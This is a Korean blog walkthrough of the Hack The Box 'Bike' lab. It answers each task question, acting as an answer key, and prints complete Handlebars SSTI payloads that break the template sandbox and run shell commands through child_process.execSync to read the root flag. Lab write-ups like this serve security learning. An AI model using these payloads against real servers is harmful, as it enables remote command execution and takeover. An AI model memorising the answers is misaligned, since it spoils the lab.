워게임/Hack The Box

[Starting Point] TIER 1 - Bike

  • -

Question

What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.

번역: nmap이 열려있다고 식별하는 TCP 포트는 무엇인가요? 쉼표로 구분하고 공백 없이 낮은 순서에서 높은 순서로 포트 목록을 답변하세요.

상세 풀이

정답

22, 80


What software is running the service listening on the http/web port identified in the first question?

번역: 첫 번째 질문에서 식별된 http/web 포트에서 수신 대기 중인 서비스를 운영하는 소프트웨어는 무엇인가요?

상세 풀이

정답

Node.js


What is the name of the Web Framework according to Wappalyzer?

번역: Wappalyzer에 따르면 웹 프레임워크의 이름은 무엇인가요?

상세 풀이

정답

express


What is the name of the vulnerability we test for by submitting {{7*7}}?

번역: {{7*7}}을 제출함으로써 우리가 테스트하는 취약점의 이름은 무엇인가요?

상세 풀이

서버 측 템플릿 주입(Server-Side Template Injection, SSTI) 취약점은 공격자가 웹 어플리케이션의 템플릿 엔진을 조작하여 원하지 않는 동작을 수행하거나, 민감한 데이터에 접근하게 되는 보안 취약점입니다.

 

템플릿 엔진은 동적 콘텐츠를 생성하는 데 사용되는 서버 측 소프트웨어로, HTML 페이지에 동적 데이터를 삽입하는 것이 일반적인 사용 사례입니다. 여러 템플릿 언어와 엔진이 있으며, 예를 들면 Java의 JSP, Python의 Jinja2, JavaScript의 EJS 등이 있습니다.

 

SSTI 취약점이 발생하는 주요 원인은 사용자 입력을 제대로 처리하지 않고 템플릿 엔진에 직접 전달하는 것입니다. 이로 인해 공격자는 템플릿 문법을 이용하여 원하지 않는 동작을 수행하게 할 수 있습니다. 가장 심각한 경우, 공격자는 임의의 코드 실행(RCE, Remote Code Execution)을 통해 서버를 완전히 제어할 수도 있습니다.

 

SSTI 취약점을 방지하는 가장 효과적인 방법은 사용자 입력을 안전하게 처리하고, 가능한 한 사용자 입력을 템플릿 변수에 직접 삽입하는 것을 피하는 것입니다. 이를 위해 입력 검증, 적절한 출력 인코딩, 최소한의 권한 부여 등의 방법을 사용할 수 있습니다.

정답

Server Side Template Injection


What is the templating engine being used within Node.JS?

번역: Node.JS 내에서 사용되는 템플릿 엔진은 무엇인가요?

상세 풀이

Node.js에서는 여러 가지 템플릿 엔진이 사용됩니다.

  1. EJS (Embedded JavaScript): 이것은 HTML 내에서 JavaScript를 사용할 수 있게 해주는 템플릿 엔진입니다. EJS는 간단하고 유연한 문법을 가지고 있어 많이 사용됩니다.
  2. Pug (이전에는 Jade로 알려져 있었습니다): Pug는 강력하고 유연한 기능을 가진 고급 템플릿 엔진입니다. HTML을 간결하게 작성할 수 있도록 도와줍니다.
  3. Handlebars.js: 이것은 로직이 없는 템플릿 엔진으로, 데이터를 뷰에 효율적으로 바인딩하게 해줍니다.
  4. Mustache.js: 이것은 로직이 없는 템플릿 엔진으로, 다양한 언어에서 사용됩니다.

사용자 입력 값이 응답 값에 반영되는 공격 포인트를 찾았다.

 

SSTI 취약점을 서버로 전달 시 에러 메시지가 출력된다.

에러 메시지에서 획득할 수 있는 정보는 서버가 /root/Backend 디렉터리가 실행되고 있으며, handlebars 템플릿 엔진을 사용되고 있는 것을 확인할 수 있다.

정답

handlebars


What is the name of the BurpSuite tab used to encode text?

번역: 텍스트를 인코딩하는 데 사용되는 BurpSuite 탭의 이름은 무엇인가요?

상세 풀이

텍스트를 인코딩하기 위해 Burp Suite에서 사용하는 탭의 이름은 "Decoder" 입니다. 이 도구는 다양한 인코딩과 디코딩 방식을 지원하며, Base64, URL, HTML, Hex 등 다양한 형식의 데이터 변환을 지원합니다.

정답

Decoder


In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?

번역: HTTP 요청에서 페이로드에 특수 문자를 전송하기 위해, 우리는 페이로드를 인코딩할 것입니다. 우리는 어떤 타입의 인코딩을 사용하나요?

상세 풀이

HTTP 요청의 페이로드에서 특수 문자를 보내기 위해, 일반적으로 "URL 인코딩" 또는 "퍼센트 인코딩"이라는 방식을 사용합니다. 이 인코딩 방식은 특수 문자를 안전하게 전송할 수 있도록 문자를 ASCII 코드로 변환합니다. 예를 들어, 공백은 "%20"으로, "#"은 "%23"으로 변환됩니다.

정답

url


When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?

번역: 시스템 명령을 실행하려고 HackTricks의 페이로드를 사용했을 때, 우리는 오류 메시지를 받았습니다. 응답 오류에서 '정의되지 않았다'는 것은 무엇인가요?

상세 풀이

# https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

hacktricks에서 공유된 SSTI 페이로드를 서버로 전달 시 에러메시지가 출력됨을 확인

해당 에러메세지는 require가 정의되지 않았다는 에러메시지이다.

 

추측상으로 템플릿 엔진의 샌드박스 기능에 의하여 제한된 코드 공간에서 실행되므로 특정 모듈을 로드하는 것을 막는게 아닌지를 생각할 수 있다.

정답

require


What variable is the name of the top-level scope in Node.JS?

번역: Node.JS의 최상위 범위의 변수 이름은 무엇인가요?

상세 풀이

Node.js의 최상위 범위(scope)의 이름은 "global" 입니다. 이는 브라우저 환경에서의 "window" 객체와 유사합니다. 이 global 객체는 Node.js의 모든 전역 변수를 가지고 있으며, 이를 통해 다양한 내장 객체, 함수 등에 접근할 수 있습니다. 또한 모든 로드된 모듈에서 사용할 수 있습니다.

Node.js의 글로벌 변수는 아래와 같습니다

  1. global: 전역 네임스페이스 객체입니다. 이는 브라우저에서의 window 객체와 유사합니다.
  2. process: 현재 Node.js 프로세스에 대한 정보를 제공하며, 프로세스를 제어하는데 사용됩니다.
  3. console: 콘솔 I/O를 제공하는 객체입니다.
  4. setTimeout, clearTimeout, setInterval, clearInterval, setImmediate, clearImmediate: 타이머와 관련된 함수들입니다.
  5. Buffer: 바이너리 데이터를 다루는데 사용되는 클래스입니다.
  6. require: 모듈을 로드하는데 사용되는 함수입니다.
  7. __dirname, __filename: 실행중인 스크립트의 디렉토리와 파일 이름을 나타냅니다.
  8. module, exports: 현재 모듈에 대한 정보를 제공하고, 모듈의 공개 API를 정의하는데 사용됩니다.
  9. URL, URLSearchParams: URL을 처리하는데 사용되는 클래스입니다.

이들 외에도 Node.js는 다양한 내장 모듈을 제공하고 있습니다. 모든 내장 모듈은 require 함수를 사용하여 로드할 수 있습니다.

주의할 점은 require, module, exports, __dirname, __filename는 글로벌 범위에는 속하지 않지만, 모듈의 범위 내에서는 전역적으로 접근 가능하다는 점입니다.

정답

global


By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?

이 취약점을 이용하여 웹 서버가 실행 중인 사용자로서 명령 실행 권한을 얻게 됩니다. 해당 사용자의 이름은 무엇인가요?

상세 풀이

{{#with "s" as |string|}}
	{{#with "e"}}
		{{#with split as |conslist|}}
			{{this.pop}}
			{{this.push (lookup string.sub "constructor")}}
			{{this.pop}}
		  {{#with string.split as |codelist|}}
				{{this.pop}}
			  {{this.push "return process;"}}
			  {{this.pop}}
			  {{#each conslist}}
					{{#with (string.sub.apply 0 codelist)}}
					  {{this}}
					{{/with}}
				{{/each}}
			{{/with}}
		{{/with}}
	{{/with}}
{{/with}}

Task 9에서 확인하였던 전역 변수 목록 중 process 호출 시 동작되는지를 확인하였다.

 

에러 메시지가 나타나지 않고, process 객체가 잘 출력되는 것을 확인할 수 있었다.

 

https://www.geeksforgeeks.org/node-js-process-mainmodule-property/에 따르면 prcess의 mainModule은 주 모듈의 참조를 포함하는 객체를 반환한다고 언급되어 있다. 즉, 주 모듈을 직접 로드하면 샌드박스 환경이 아니기 떄문에 require을 로드할 수 있을 것으로 판단된다.

 

{{#with "s" as |string|}}
	{{#with "e"}}
		{{#with split as |conslist|}}
			{{this.pop}}
			{{this.push (lookup string.sub "constructor")}}
			{{this.pop}}
		  {{#with string.split as |codelist|}}
				{{this.pop}}
			  {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
			  {{this.pop}}
			  {{#each conslist}}
					{{#with (string.sub.apply 0 codelist)}}
					  {{this}}
					{{/with}}
				{{/each}}
			{{/with}}
		{{/with}}
	{{/with}}
{{/with}}

process.mainModule.require을 통해 child_process를 로드하여 whoami 명령어를 동작시킬 수 있었다.

정답

root


Submit root flag

상세 풀이

{{#with "s" as |string|}}
	{{#with "e"}}
		{{#with split as |conslist|}}
			{{this.pop}}
			{{this.push (lookup string.sub "constructor")}}
			{{this.pop}}
		  {{#with string.split as |codelist|}}
				{{this.pop}}
			  {{this.push "return process.mainModule.require('child_process').execSync('find / -name flag.txt 2>/dev/null 1>./result');"}}
			  {{this.pop}}
			  {{#each conslist}}
					{{#with (string.sub.apply 0 codelist)}}
					  {{this}}
					{{/with}}
				{{/each}}
			{{/with}}
		{{/with}}
	{{/with}}
{{/with}}

find 명령어를 이용하여 flag.txt 파일이 어디에 존재하는지에 대한 결과를 result에 저장하였다.

 

return process.mainModule.require('child_process').execSync('cat reuslt');

result 파일을 읽어보니, flag.txt의 경로가 /root에 존재하는 것을 확인할 수 있었다.

 

{{#with "s" as |string|}}
	{{#with "e"}}
		{{#with split as |conslist|}}
			{{this.pop}}
			{{this.push (lookup string.sub "constructor")}}
			{{this.pop}}
		  {{#with string.split as |codelist|}}
				{{this.pop}}
			  {{this.push "return process.mainModule.require('child_process').execSync('cat ../flag.txt');"}}
			  {{this.pop}}
			  {{#each conslist}}
					{{#with (string.sub.apply 0 codelist)}}
					  {{this}}
					{{/with}}
				{{/each}}
			{{/with}}
		{{/with}}
	{{/with}}
{{/with}}

현재 동작하는 위치가 /root/backend이라서 상위 디렉터리에서 flag.txt를 읽도록 명령을 내려주니, flag를 획득할 수 있었다.

'워게임 > Hack The Box' 카테고리의 다른 글

[Starting Point] TIER 1 - Markup  (0) 2023.12.30
[Starting Point] TIER 1 - Included  (0) 2023.12.30
[Starting Point] TIER 1 - Ignition  (0) 2023.08.31
[Starting Point] TIER 1 - Responder  (0) 2023.07.31
[Starting Point] TIER 1 - Responder  (0) 2023.06.29
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.